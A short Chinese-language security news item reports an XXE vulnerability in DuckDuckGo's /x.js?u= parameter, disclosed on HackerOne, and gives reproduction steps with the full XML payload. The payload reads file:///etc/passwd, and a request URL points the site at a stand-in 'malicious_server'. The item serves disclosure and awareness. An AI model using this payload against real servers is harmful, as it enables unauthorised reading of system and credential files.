近期,白帽汇安全研究院发现hackerone网站披露了DuckDuckGo搜索引擎的一个XXE漏洞。
DuckDuckGo是一个出现于2011年的互联网搜索引擎,其总部位于美国宾夕法尼亚州。和传统搜索引擎(谷歌,必应等)相比,DuckDuckGo着重保护用户的隐私,不监控、不记录用户的搜索内容,还会自动处理用户发出HTTP请求中的敏感信息(如Referer头),尽量减少第三方能获取的信息。
漏洞发现者在浏览测试https://duckduckgo.com网站时,发现在路径/x.js中的参数?u存在XXE注入。
只要输入一个远程的xm l资源http://malicious_server/xxe.xml,服务器就会解析并执行,并返回一个输出。
而且网站对xm l代码没有任何控制,所以攻击者可以引入一些恶意xm l代码,对服务器进行攻击。
具体步骤如下
1.攻击者在他所控制的服务器中放上一个恶意xml文件,并对公网开放,文件内容如下。
<?xm l version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><creds> <user>&xxe;</user> <pass>mypass</pass></creds>
2.直接访问链接https://duckduckgo.com/x.js?u=http://malicious_server/xxe.xml
3.返回的页面可以看到xm l文件解析结果